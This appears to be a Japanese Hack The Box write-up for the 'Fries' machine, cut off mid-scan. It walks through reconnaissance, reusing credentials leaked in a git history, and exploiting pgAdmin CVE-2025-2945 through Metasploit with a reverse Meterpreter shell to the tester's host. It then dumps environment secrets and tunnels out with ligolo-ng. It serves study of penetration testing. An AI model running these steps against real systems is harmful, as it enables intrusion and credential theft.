初めに
本記事は Hack The Box(以下リンク参照) の「Fries」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
初期探索
さて、やってきましたWindows許さないマンです。やっていき！
ポートスキャン
┌──(kali㉿kali)-[~/Desktop]
└─$ rustscan -a 10.129.137.119 --top
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
0day was here ♥
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.137.119:22
Open 10.129.137.119:53
Open 10.129.137.119:80
Open 10.129.137.119:88
Open 10.129.137.119:135
Open 10.129.137.119:139
Open 10.129.137.119:389
Open 10.129.137.119:445
Open 10.129.137.119:443
Open 10.129.137.119:464
Open 10.129.137.119:593
Open 10.129.137.119:636
Open 10.129.137.119:2179
Open 10.129.137.119:3268
Open 10.129.137.119:3269
Open 10.129.137.119:5985
Open 10.129.137.119:9389
Open 10.129.137.119:49667
Open 10.129.137.119:49686
Open 10.129.137.119:49685
Open 10.129.137.119:49689
Open 10.129.137.119:49688
Open 10.129.137.119:49913
Open 10.129.137.119:49948
Open 10.129.137.119:49975
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-25 01:47 EST
Initiating Ping Scan at 01:47
Scanning 10.129.137.119 [4 ports]
Completed Ping Scan at 01:47, 0.28s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 01:47
Scanning DC01.fries.htb (10.129.137.119) [25 ports]
Discovered open port 139/tcp on 10.129.137.119
Discovered open port 80/tcp on 10.129.137.119
Discovered open port 443/tcp on 10.129.137.119
Discovered open port 445/tcp on 10.129.137.119
Discovered open port 53/tcp on 10.129.137.119
Discovered open port 135/tcp on 10.129.137.119
Discovered open port 464/tcp on 10.129.137.119
Discovered open port 49689/tcp on 10.129.137.119
Discovered open port 3268/tcp on 10.129.137.119
Discovered open port 22/tcp on 10.129.137.119
Discovered open port 49948/tcp on 10.129.137.119
Discovered open port 636/tcp on 10.129.137.119
Discovered open port 49685/tcp on 10.129.137.119
Discovered open port 49686/tcp on 10.129.137.119
Discovered open port 49688/tcp on 10.129.137.119
Discovered open port 88/tcp on 10.129.137.119
Discovered open port 593/tcp on 10.129.137.119
Discovered open port 49667/tcp on 10.129.137.119
Discovered open port 9389/tcp on 10.129.137.119
Discovered open port 49975/tcp on 10.129.137.119
Discovered open port 2179/tcp on 10.129.137.119
Discovered open port 5985/tcp on 10.129.137.119
Discovered open port 3269/tcp on 10.129.137.119
Discovered open port 389/tcp on 10.129.137.119
Discovered open port 49913/tcp on 10.129.137.119
Completed SYN Stealth Scan at 01:48, 0.52s elapsed (25 total ports)
Nmap scan report for DC01.fries.htb (10.129.137.119)
Host is up, received echo-reply ttl 127 (0.25s latency).
Scanned at 2025-11-25 01:47:59 EST for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 62
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 62
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
443/tcp open https syn-ack ttl 62
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
2179/tcp open vmrdp syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49685/tcp open unknown syn-ack ttl 127
49686/tcp open unknown syn-ack ttl 127
49688/tcp open unknown syn-ack ttl 127
49689/tcp open unknown syn-ack ttl 127
49913/tcp open unknown syn-ack ttl 127
49948/tcp open unknown syn-ack ttl 127
49975/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
Raw packets sent: 29 (1.252KB) | Rcvd: 27 (1.180KB)
AD環境のPortがあいてる。80、443番もあるのでHTTPサーバも建ってそう。
22番が開いてるのは珍しいですな。
ドメイン情報収集
ldapのスクリプトも回してさっとAD環境の情報を取得する。
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -p 389 -n -Pn --script ldap-rootdse 10.129.137.119
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-25 01:46 EST
Nmap scan report for 10.129.137.119
Host is up (0.24s latency).
PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
| <ROOT>
| domainFunctionality: 7
| forestFunctionality: 7
| domainControllerFunctionality: 7
| rootDomainNamingContext: DC=fries,DC=htb
| ldapServiceName: fries.htb:dc01$@FRIES.HTB
| isGlobalCatalogReady: TRUE
| supportedSASLMechanisms: GSSAPI
| supportedSASLMechanisms: GSS-SPNEGO
| supportedSASLMechanisms: EXTERNAL
| supportedSASLMechanisms: DIGEST-MD5
| supportedLDAPVersion: 3
| supportedLDAPVersion: 2
| supportedLDAPPolicies: MaxPoolThreads
| supportedLDAPPolicies: MaxPercentDirSyncRequests
| supportedLDAPPolicies: MaxDatagramRecv
| supportedLDAPPolicies: MaxReceiveBuffer
| supportedLDAPPolicies: MaxPreAuthReceiveBuffer
| supportedLDAPPolicies: InitRecvTimeout
| supportedLDAPPolicies: MaxConnections
| supportedLDAPPolicies: MaxConnIdleTime
| supportedLDAPPolicies: MaxPageSize
| supportedLDAPPolicies: MaxBatchReturnMessages
| supportedLDAPPolicies: MaxQueryDuration
| supportedLDAPPolicies: MaxDirSyncDuration
| supportedLDAPPolicies: MaxTempTableSize
| supportedLDAPPolicies: MaxResultSetSize
| supportedLDAPPolicies: MinResultSets
| supportedLDAPPolicies: MaxResultSetsPerConn
| supportedLDAPPolicies: MaxNotificationPerConn
| supportedLDAPPolicies: MaxValRange
| supportedLDAPPolicies: MaxValRangeTransitive
| supportedLDAPPolicies: ThreadMemoryLimit
| supportedLDAPPolicies: SystemMemoryLimitPercent
| supportedControl: 1.2.840.113556.1.4.319
| supportedControl: 1.2.840.113556.1.4.801
| supportedControl: 1.2.840.113556.1.4.473
| supportedControl: 1.2.840.113556.1.4.528
| supportedControl: 1.2.840.113556.1.4.417
| supportedControl: 1.2.840.113556.1.4.619
| supportedControl: 1.2.840.113556.1.4.841
| supportedControl: 1.2.840.113556.1.4.529
| supportedControl: 1.2.840.113556.1.4.805
| supportedControl: 1.2.840.113556.1.4.521
| supportedControl: 1.2.840.113556.1.4.970
| supportedControl: 1.2.840.113556.1.4.1338
| supportedControl: 1.2.840.113556.1.4.474
| supportedControl: 1.2.840.113556.1.4.1339
| supportedControl: 1.2.840.113556.1.4.1340
| supportedControl: 1.2.840.113556.1.4.1413
| supportedControl: 2.16.840.1.113730.3.4.9
| supportedControl: 2.16.840.1.113730.3.4.10
| supportedControl: 1.2.840.113556.1.4.1504
| supportedControl: 1.2.840.113556.1.4.1852
| supportedControl: 1.2.840.113556.1.4.802
| supportedControl: 1.2.840.113556.1.4.1907
| supportedControl: 1.2.840.113556.1.4.1948
| supportedControl: 1.2.840.113556.1.4.1974
| supportedControl: 1.2.840.113556.1.4.1341
| supportedControl: 1.2.840.113556.1.4.2026
| supportedControl: 1.2.840.113556.1.4.2064
| supportedControl: 1.2.840.113556.1.4.2065
| supportedControl: 1.2.840.113556.1.4.2066
| supportedControl: 1.2.840.113556.1.4.2090
| supportedControl: 1.2.840.113556.1.4.2205
| supportedControl: 1.2.840.113556.1.4.2204
| supportedControl: 1.2.840.113556.1.4.2206
| supportedControl: 1.2.840.113556.1.4.2211
| supportedControl: 1.2.840.113556.1.4.2239
| supportedControl: 1.2.840.113556.1.4.2255
| supportedControl: 1.2.840.113556.1.4.2256
| supportedControl: 1.2.840.113556.1.4.2309
| supportedControl: 1.2.840.113556.1.4.2330
| supportedControl: 1.2.840.113556.1.4.2354
| supportedCapabilities: 1.2.840.113556.1.4.800
| supportedCapabilities: 1.2.840.113556.1.4.1670
| supportedCapabilities: 1.2.840.113556.1.4.1791
| supportedCapabilities: 1.2.840.113556.1.4.1935
| supportedCapabilities: 1.2.840.113556.1.4.2080
| supportedCapabilities: 1.2.840.113556.1.4.2237
| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=fries,DC=htb
| serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=fries,DC=htb
| schemaNamingContext: CN=Schema,CN=Configuration,DC=fries,DC=htb
| namingContexts: DC=fries,DC=htb
| namingContexts: CN=Configuration,DC=fries,DC=htb
| namingContexts: CN=Schema,CN=Configuration,DC=fries,DC=htb
| namingContexts: DC=DomainDnsZones,DC=fries,DC=htb
| namingContexts: DC=ForestDnsZones,DC=fries,DC=htb
| isSynchronized: TRUE
| highestCommittedUSN: 188736
| dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=fries,DC=htb
| dnsHostName: DC01.fries.htb
| defaultNamingContext: DC=fries,DC=htb
| currentTime: 20251125134643.0Z
|_ configurationNamingContext: CN=Configuration,DC=fries,DC=htb
Service Info: Host: DC01; OS: Windows
Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds
fries.htbのドメイン情報を掴むことが出来た。この情報を/etc/hostsに以下のように登録しておく。
10.129.137.119 fries.htb
Web列挙
クレデンシャルが渡されているか確認する。
あった。これを使っていくのかな？といってnxcでsmb列挙しても認証が通らなかった。SMBで使える認証情報ではなさそう？
とりあえずHTTPを列挙していく。
サブドメイン列挙
┌──(kali㉿kali)-[~/Desktop]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://fries.htb/ -H "Host: FUZZ.fries.htb" -mc all -fs 154 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://fries.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.fries.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: all
:: Filter : Response size: 154
________________________________________________
code [Status: 200, Size: 13591, Words: 1048, Lines: 272, Duration: 260ms]
:: Progress: [100000/100000] :: Job [1/1] :: 610 req/sec :: Duration: [0:02:46] :: Errors: 0 ::
なんかあった。これを/etc/hostsにcode.fries.htbで登録してアクセスするとgitreaが動いていた。
gitea列挙
これにさっきの認証情報を使うのかな？
入れたわ。
とりあえずリポジトリをgitでローカルに落としてきて解析しますか。
┌──(kali㉿kali)-[~/Desktop]
└─$ git clone http://code.fries.htb/dale/fries.htb.git
Cloning into 'fries.htb'...
Username for 'http://code.fries.htb': d.cooper@fries.htb
Password for 'http://d.cooper%40fries.htb@code.fries.htb':
remote: Enumerating objects: 61, done.
remote: Counting objects: 100% (61/61), done.
remote: Compressing objects: 100% (58/58), done.
remote: Total 61 (delta 19), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (61/61), 85.82 KiB | 173.00 KiB/s, done.
Resolving deltas: 100% (19/19), done.
┌──(kali㉿kali)-[~/Desktop]
└─$ cd fries.htb
┌──(kali㉿kali)-[~/Desktop/fries.htb]
└─$ ll
total 28
drwxrwxr-x 5 kali kali 4096 Nov 25 01:50 app
-rw-rw-r-- 1 kali kali 762 Nov 25 01:50 docker-compose.yml
-rw-rw-r-- 1 kali kali 138 Nov 25 01:50 Dockerfile
drwxrwxr-x 3 kali kali 4096 Nov 25 01:50 docs
-rw-rw-r-- 1 kali kali 1902 Nov 25 01:50 README.md
-rw-rw-r-- 1 kali kali 124 Nov 25 01:50 requirements.txt
-rw-rw-r-- 1 kali kali 163 Nov 25 01:50 run.py
┌──(kali㉿kali)-[~/Desktop/fries.htb]
└─$ git show
commit 47b29c411c3f2fac4fef6b2f896e6cd559dcf0ce (HEAD -> main, origin/main, origin/HEAD)
Author: Dale Cooper <d.cooper@fries.htb>
Date: Sat May 31 10:16:09 2025 +0000
Update README.md
diff --git a/README.md b/README.md
index aedb94d..433c9bf 100644
--- a/README.md
+++ b/README.md
@@ -60,7 +60,7 @@ docker-compose up
### 🛠 Configuration
- Ensure the backend PostgreSQL database is accessible and contains the necessary schema - `ps_db`
-- The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike or Dale)
+- The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale)
- Make sure the appropriate credentials and network routing are in place.
## 🧰 Tech Stack
┌──(kali㉿kali)-[~/Desktop/fries.htb]
└─$ git log
commit 47b29c411c3f2fac4fef6b2f896e6cd559dcf0ce (HEAD -> main, origin/main, origin/HEAD)
Author: Dale Cooper <d.cooper@fries.htb>
Date: Sat May 31 10:16:09 2025 +0000
Update README.md
commit d03e0d7b694b38f417e59afd536ff32c28780518
Author: Dale Cooper <d.cooper@fries.htb>
Date: Wed May 28 17:03:38 2025 +0000
Update README.md
Added documentation for using `docker-compose` with images
commit 0e410b791f951dd99cd948149ea9feb665cfbcb2
Author: Dale Cooper <d.cooper@fries.htb>
Date: Wed May 28 17:00:28 2025 +0000
Added docs images
commit 2c5fc0fab831cd12bc189b05170f5769c78ad562
Author: Dale Cooper <d.cooper@fries.htb>
Date: Wed May 28 16:39:12 2025 +0000
Add docker-compose.yml
commit 6266ab41df06b9ccea7133d61058edf773886cb4
Author: Dale Cooper <dale@fries.htb>
Date: Wed May 28 16:37:21 2025 +0000
run.py updated
http://db-mgmt05.fries.htbなるサイトもある？？？これも/etc/hostsに登録してアクセスしてみる。
なんかあった。入れるか試すぞい！
入れた！
え、列挙対象多いな。辛い戦いになりそうだなこれ。
色々コミット履歴を探っていたら以下の履歴を見つける。
ポスグレの認証情報ジャマイカ！これでさっきのサイトからポスグレいじくる感じスカ？
pgAdminからDBをみてみる。
イニシャルアクセス
postgresql
DBを探っていく。
レッツコネクト！
アドレスが172...嫌な予感がするぜ。
とりあえずコネクトした後にいつもやるpostgresqlのコマンド実行を試してみる！
ホスト名...これは嫌な予感が当たってそうですな...コンテナ環境では？？？
まぁやることは変わらない。RevShellだ！！！
と思ったが、Shellが返ってこない...これはDockerネットワークで出れないのでは？？？
裏のDBは直で外に抜けることが出来ないのはよくある設定なので別の道を探る。
CVE-2025-2945
さっきのpgAdminにログインするときにバージョンが見えてたのでログアウト後に再度ログインしてみる。
これこれ！このバージョンを調べていると、以下に引っかかる。
metasploitにありそうなのでサーチしてみる。
msf exploit(multi/http/gogs_git_hooks_rce) > search pgadmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/pgadmin_binary_path_api 2024-03-28 excellent Yes pgAdmin Binary Path API RCE
1 exploit/multi/http/pgadmin_query_tool_authenticated 2025-04-03 excellent Yes pgAdmin Query Tool authenticated RCE (CVE-2025-2945)
2 exploit/multi/http/pgadmin_session_deserialization 2024-03-04 excellent Yes pgAdmin Session Deserialization RCE
あった。これを使っていくぜ！
msf exploit(multi/http/gogs_git_hooks_rce) > use 1
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/http/pgadmin_query_tool_authenticated) > options
Module options (exploit/multi/http/pgadmin_query_tool_authenticated):
Name Current Setting Required Description
---- --------------- -------- -----------
DB_NAME yes The database to authenticate to
DB_PASS yes The password to authenticate to the database with
DB_USER yes The username to authenticate to the database with
MAX_SERVER_ID 10 yes The maximum number of Server IDs to try and connect to.
PASSWORD yes The password to authenticate to pgadmin with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http,
socks4
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME yes The username to authenticate to pgadmin with
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python payload
View the full module info with the info, or info -d command.
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_NAME ps_db
DB_NAME => ps_db
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_PASS PsqLR00tpaSS11
DB_PASS => PsqLR00tpaSS11
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_USER root
DB_USER => root
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set PASSWORD D4LE11maan!!
PASSWORD => D4LE11maan!!
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set USERNAME d.cooper@fries.htb
USERNAME => d.cooper@fries.htb
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set VHOST db-mgmt05.fries.htb
VHOST => db-mgmt05.fries.htb
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set RHOSTS 10.129.137.119
RHOSTS => 10.129.137.119
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set LHOST 10.10.14.7
LHOST => 10.10.14.7
msf exploit(multi/http/pgadmin_query_tool_authenticated) > run
[*] Started reverse TCP handler on 10.10.14.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected
[+] Successfully authenticated to pgAdmin
[+] Successfully initialized sqleditor
[*] Exploiting the target...
[*] Sending stage (23404 bytes) to 10.129.137.119
[+] Received a 500 response from the exploit attempt, this is expected
[*] Meterpreter session 1 opened (10.10.14.7:4444 -> 10.129.137.119:49800) at 2025-11-25 03:19:34 -0500
meterpreter > ls
Listing: /pgadmin4
==================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 91379 fil 2025-02-25 07:00:17 -0500 DEPENDENCIES
100644/rw-r--r-- 1173 fil 2025-02-25 07:00:17 -0500 LICENSE
100644/rw-r--r-- 1006 fil 2025-02-25 07:00:17 -0500 branding.py
100644/rw-r--r-- 52 fil 2025-02-25 07:11:45 -0500 commit_hash
100644/rw-r--r-- 37988 fil 2025-02-25 07:00:17 -0500 config.py
100664/rw-rw-r-- 358 fil 2025-05-28 12:53:29 -0400 config_distro.py
040755/rwxr-xr-x 12288 dir 2025-02-25 07:10:29 -0500 docs
100644/rw-r--r-- 52 fil 2025-02-25 07:00:17 -0500 gunicorn_config.py
040755/rwxr-xr-x 4096 dir 2025-02-25 07:00:26 -0500 migrations
100644/rw-r--r-- 8444 fil 2025-02-25 07:00:17 -0500 pgAdmin4.py
100644/rw-r--r-- 949 fil 2025-02-25 07:00:17 -0500 pgAdmin4.wsgi
040755/rwxr-xr-x 4096 dir 2025-02-25 07:00:27 -0500 pgacloud
040755/rwxr-xr-x 4096 dir 2025-02-25 07:00:36 -0500 pgadmin
100644/rw-r--r-- 70 fil 2025-02-25 07:00:17 -0500 run_pgadmin.py
100644/rw-r--r-- 24203 fil 2025-02-25 07:00:18 -0500 setup.py
100644/rw-r--r-- 1283 fil 2025-02-25 07:00:18 -0500 version.py
決まったわ。。。
そしてlinux環境ぽい...こ、コンテナですか？別コンテナかな？
あれ？Windowsは？？？
横展開 - コンテナ
情報列挙
linpeas
とりあえず此奴には外と通信できる口があるっぽいのでlinpeasを持ってきて利用する。
cb46692a4590:/tmp$ ./linpeas.sh
./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Learn Cloud Hacking : https://training.hacktricks.xyz |
| Follow on Twitter : @hacktricks_live |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
LinPEAS-ng by carlospolop
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.
Linux Privesc Checklist: https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html
LEGEND:
RED/YELLOW: 95% a PE vector
RED: You should take a look to it
LightCyan: Users with console
Blue: Users without console & mounted devs
Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username
Starting LinPEAS. Caching Writable Folders...
╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
╚═══════════════════╝
OS: Linux version 6.8.0-87-generic (buildd@lcy02-amd64-060) (x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04.2) 12.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #88~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Oct 14 14:03:14 UTC 2
User & Groups: uid=5050(pgadmin) gid=0(root) groups=0(root)
Hostname: cb46692a4590
[+] /bin/ping is available for network discovery (LinPEAS can discover hosts, learn more with -h)
[+] /bin/bash is available for network discovery, port scanning and port forwarding (LinPEAS can discover hosts, scan ports, and forward ports. Learn more with -h)
[+] /usr/bin/nc is available for network discovery & port scanning (LinPEAS can discover hosts and scan ports, learn more with -h)
Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE
╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════
╚════════════════════╝
╔══════════╣ Operative system
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits
Linux version 6.8.0-87-generic (buildd@lcy02-amd64-060) (x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04.2) 12.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #88~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Oct 14 14:03:14 UTC 2
lsb_release Not Found
╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version
Sudo version 1.9.16p2
╔══════════╣ PATH
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
╔══════════╣ Date & uptime
Tue Nov 25 15:31:53 UTC 2025
15:31:53 up 10:10, 0 users, load average: 0.06, 0.04, 0.00
╔══════════╣ Unmounted file-system?
╚ Check if you can mount umounted devices
/dev[1;32m/cdrom[0m /media[1;32m/cdrom[0m iso9660 noauto,ro 0 0
/dev/usbdisk /media/usb vfat noauto,ro 0 0
╔══════════╣ Any sd*/disk* disk in /dev? (limit 20)
╔══════════╣ Environment
╚ Any private information inside environment variables?
HOSTNAME=cb46692a4590
SHLVL=3
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
CONFIG_DISTRO_FILE_PATH=/pgadmin4/config_distro.py
HOME=/home/pgadmin
OLDPWD=/pgadmin4
PGADMIN_DEFAULT_EMAIL=admin@fries.htb
_=./linpeas.sh
SERVER_SOFTWARE=gunicorn/22.0.0
OAUTHLIB_INSECURE_TRANSPORT=1
CORRUPTED_DB_BACKUP_FILE=
PWD=/tmp
PGAPPNAME=pgAdmin 4 - CONN:8290513
PYTHONPATH=/pgadmin4
╔══════════╣ Searching Signature verification failed in dmesg
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed
dmesg Not Found
お？環境変数にいい情報がある。Dockerに.envで機微情報を渡すやつですね。よく実装で見るやつだ。
これは一旦置いておいてさっきコマンド突っ込めたpostgreのShellも取っておく。
ligolo
172のコンテナ環境にトンネルをぶちあけるためにligoloを利用します。
適当にリスナー用意します。インターフェースも用意しておきます。
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ./proxy -selfcert -laddr 0.0.0.0:2345
INFO[0000] Loading configuration file ligolo-ng.yaml
WARN[0000] daemon configuration file not found. Creating a new one...
? Enable Ligolo-ng WebUI? No
WARN[0001] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
ERRO[0001] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate
INFO[0001] Listening on 0.0.0.0:2345
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
Version: 0.8.2
ligolo-ng » interface_create --name ligolo
INFO[0028] Creating a new ligolo interface...
INFO[0028] Interface created!
ligolo-ng »
向こう側でclientを実行します。
./agent -connect 10.10.14.7:2345 -ignore-cert
セッションが帰ってきたらセッション通してルーティングも設定しておきます。
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo ip route add 172.18.0.0/24 dev ligolo
んじゃどういうNetworkになってるかpingスキャンしておきます。
┌──(kali㉿kali)-[~/Desktop]
└─$ fping -asgq 172.18.0.0/24
172.18.0.1
172.18.0.2
172.18.0.3
172.18.0.4
172.18.0.6
172.18.0.5
^C
254 targets
6 alive
248 unreachable
0 unknown addresses
774 timeouts (waiting for response)
908 ICMP Echos sent
6 ICMP Echo Replies received
0 other ICMP received
248 ms (min round trip time)
383 ms (avg round trip time)
472 ms (max round trip time)
6.665 sec (elapsed real time)
適当に此奴らのIPに対してrustscan入れておくぞい。
┌──(kali㉿kali)-[~/Desktop]
└─$ rustscan -a 172.18.0.6 --top
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Port scanning: Because every port has a story to tell.
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
